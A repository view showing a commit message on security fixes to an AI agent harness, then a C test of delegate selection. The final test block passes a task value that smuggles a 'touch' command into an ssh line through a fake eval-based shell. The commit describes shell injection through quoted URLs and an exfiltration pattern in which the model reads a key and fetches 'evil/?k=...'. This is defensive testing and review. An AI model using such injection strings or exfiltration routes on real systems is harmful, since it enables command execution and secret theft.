Files
splinter/tests/test_delegate.c
T
lotherkandClaude Opus 5.5 6fe30f4787 security: the authorization model holds where the model writes the input
A review found the tool classes - the core of the harness - bypassable in
several places where model output was pasted into a shell or trusted as an id.
Each fix below has a test that reproduces the original failure.

No shell for model data
- webfetch put the URL between '...' and ran it through popen: a quote in the
  URL ran any command, from a tool that needed no consent. curl is now exec'd
  with an argv, http(s) only, HTML stripped in C, stderr off the curses screen.
- webfetch is mutate: with read free, "read a key, fetch evil/?k=..." left the
  machine without anybody being asked. websearch stays read (fixed host).
- kids: the parent-approval command got the model's arguments inside '...'
  via system(); they are now "$1". The domain check reads the URL with the
  same parser as the tool (duplicate keys) and refuses user@host URLs.
- delegate: the two copies of the child argv are one (exec_delegate). The ssh
  path exec'd splinter with "ssh" as argv[0]; it now runs ssh and quotes every
  word for the remote shell. A single delegate to a host now really runs there.

Approvals (ack)
- The id was the pid: a late yes stayed on disk and approved the next request
  unseen. Ids are random, requests 0600 with O_EXCL, deleted when answered or
  expired; an answer is refused after expiry; the first answer wins (link(2)).
- An ack dir owned by someone else or writable by others is refused.
- --ack accepted every word but "no" as yes ("nein" approved). Now strict.
- The terminal thread blocked in fgets after a phone answer; it is stoppable.

Secrets
- API key and Telegram token were in curl's argv, readable via ps. src/curl.c
  passes URL and auth headers as a -K config on stdin (transport, telegram,
  tg-ask.sh; its dead eval fallback is gone).
- 'run' and task_start no longer inherit splinter's keys ("run env"). 'run' got
  its own process group, stdin /dev/null and SPLINTER_RUN_TIMEOUT (300 s).

MCP server
- Beyond 127.x it refuses to start without SPLINTER_MCP_TOKEN; connections
  must begin with "AUTH <token>". SIGPIPE ignored, idle connections closed.

Crashes
- task_kill sent kill(-0) - SIGTERM to splinter's own process group - because
  popen gave no pid. Tasks now have a pid and a process group; integer ids work.
- ui: a 3- or 4-byte UTF-8 character overflowed char[2] on every redraw
  (now sp_ui_ascii_char, tested); the scroll offset was taken from one buffer
  and applied to another, reading past its end.

Repo
- The test binaries are no longer tracked (.gitignore already said so).

make check: 23 test binaries, green, also under ASan/UBSan.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 20:19:01 +00:00

178 lines
5.3 KiB
C

/*
* splinter -- delegate selection.
*
* The choice is code, so it is tested like code: given a task and a set of
* delegates, the same one must win every time, and the reason must name what
* decided it.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include "splinter.h"
#include "config.h"
static int failures;
#define CHECK(cond) do { \
if (!(cond)) { \
fprintf(stderr, "FAIL %s:%d: %s\n", __FILE__, __LINE__, #cond); \
failures++; \
} \
} while (0)
static void
add(struct sp_config *c, const char *id, const char *about, const char *tags)
{
struct sp_delegate *d = &c->delegate[c->ndelegates++];
memset(d, 0, sizeof(*d));
snprintf(d->id, sizeof(d->id), "%s", id);
snprintf(d->about, sizeof(d->about), "%s", about);
snprintf(d->tags, sizeof(d->tags), "%s", tags);
snprintf(d->endpoint, sizeof(d->endpoint), "http://example/v1");
snprintf(d->model, sizeof(d->model), "m");
}
int
main(void)
{
struct sp_config c;
char id[64], why[192];
int score;
memset(&c, 0, sizeof(c));
add(&c, "coder", "C99, POSIX, kennt den Quellbaum", "code,c99,review");
add(&c, "quick", "kurze Antworten, Chat", "chat,cheap,summary");
/* a tag in the task wins by tag */
CHECK(sp_delegate_choose(&c, "pruefe den code auf fehler", NULL, id, sizeof(id),
why, sizeof(why), &score) == 0);
CHECK(strcmp(id, "coder") == 0);
CHECK(score >= 3);
CHECK(strstr(why, "code") != NULL);
CHECK(sp_delegate_choose(&c, "mach eine kurze summary", NULL, id, sizeof(id),
why, sizeof(why), &score) == 0);
CHECK(strcmp(id, "quick") == 0);
/* a requested tag outweighs the wording */
CHECK(sp_delegate_choose(&c, "irgendwas mit code", "chat", id, sizeof(id),
why, sizeof(why), &score) == 0);
CHECK(strcmp(id, "quick") == 0);
CHECK(strstr(why, "requested") != NULL);
/* a description word is weaker than a tag but still counts */
CHECK(sp_delegate_choose(&c, "kennt jemand den quellbaum", NULL, id,
sizeof(id), why, sizeof(why), &score) == 0);
CHECK(strcmp(id, "coder") == 0);
/* nothing matches: no pick rather than a random one */
CHECK(sp_delegate_choose(&c, "xyzzy", NULL, id, sizeof(id), why,
sizeof(why), &score) != 0);
/* prio decides a tie: same score, higher prio wins */
memset(&c, 0, sizeof(c));
add(&c, "low", "gleich gut", "x");
add(&c, "high", "gleich gut", "x");
c.delegate[1].prio = 9;
CHECK(sp_delegate_choose(&c, "x", NULL, id, sizeof(id), why, sizeof(why),
&score) == 0);
CHECK(strcmp(id, "high") == 0);
CHECK(sp_delegate_prio(&c, "high") == 9);
/* max_parallel defaults to one and never to zero */
memset(&c, 0, sizeof(c));
add(&c, "d", "x", "x");
CHECK(c.delegate[0].max_parallel == 0); /* add() does not set it */
/* an empty set is not a match either */
c.ndelegates = 0;
CHECK(sp_delegate_choose(&c, "code", NULL, id, sizeof(id), why,
sizeof(why), &score) != 0);
/*
* ---- a remote delegate: the task reaches the far side as one word ----
* ssh joins its arguments into a command line for the remote shell. A
* fake ssh in PATH plays that shell: it re-splits the line with eval,
* which runs anything an unquoted task would smuggle in, and records the
* words it got.
*/
{
char tdir[] = "/var/tmp/splinter-del-XXXXXX";
char path[600], mark[600], words[600], fake[1600];
char task[700], args[1200], line[800];
const char *oldpath = getenv("PATH");
struct sp_registry r;
struct sp_buf out;
struct stat st;
FILE *f;
int n = 0, task_ok = 0;
CHECK(mkdtemp(tdir) != NULL);
snprintf(mark, sizeof(mark), "%s/pwned", tdir);
snprintf(words, sizeof(words), "%s/words", tdir);
snprintf(path, sizeof(path), "%s/ssh", tdir);
snprintf(fake, sizeof(fake), "#!/bin/sh\n"
"[ \"$3\" = -- ] && [ \"$4\" = farhost ] || exit 3\n"
"eval \"set -- $5\"\n"
"printf '%%s\\n' \"$@\" > '%s'\n"
"echo fertig\n", words);
f = fopen(path, "w");
CHECK(f != NULL);
if (f != NULL) {
fputs(fake, f);
fclose(f);
}
(void)chmod(path, 0755);
snprintf(line, sizeof(line), "%s:%s", tdir,
oldpath != NULL ? oldpath : "/usr/bin:/bin");
(void)setenv("PATH", line, 1);
memset(&c, 0, sizeof(c));
add(&c, "far", "remote", "far");
snprintf(c.delegate[0].host, sizeof(c.delegate[0].host), "farhost");
c.delegate[0].max_parallel = 1;
memset(&r, 0, sizeof(r));
CHECK(sp_delegate_register(&r, &c, NULL) == 0);
snprintf(task, sizeof(task), "it's x'; touch %s; echo '", mark);
snprintf(args, sizeof(args), "{\"task\":\"%s\",\"tags\":\"far\"}",
task);
CHECK(sp_buf_init(&out) == 0);
{
const struct sp_tool *t = sp_registry_find(&r, "delegate");
CHECK(t != NULL);
if (t != NULL)
(void)t->run(args, &out, t->ctx);
}
CHECK(stat(mark, &st) != 0);
if (getenv("TEST_VERBOSE") != NULL)
fprintf(stderr, "delegate said: %s\n", out.p);
f = fopen(words, "r");
CHECK(f != NULL);
if (f != NULL) {
while (fgets(line, sizeof(line), f) != NULL) {
line[strcspn(line, "\n")] = '\0';
if (n == 3 && strcmp(line, task) == 0)
task_ok = 1;
n++;
}
fclose(f);
}
CHECK(task_ok);
sp_buf_free(&out);
sp_registry_free(&r);
(void)setenv("PATH", oldpath != NULL ? oldpath : "/usr/bin:/bin", 1);
snprintf(line, sizeof(line), "rm -rf '%s'", tdir);
(void)system(line);
}
if (failures == 0)
printf("test_delegate: ok\n");
return failures == 0 ? 0 : 1;
}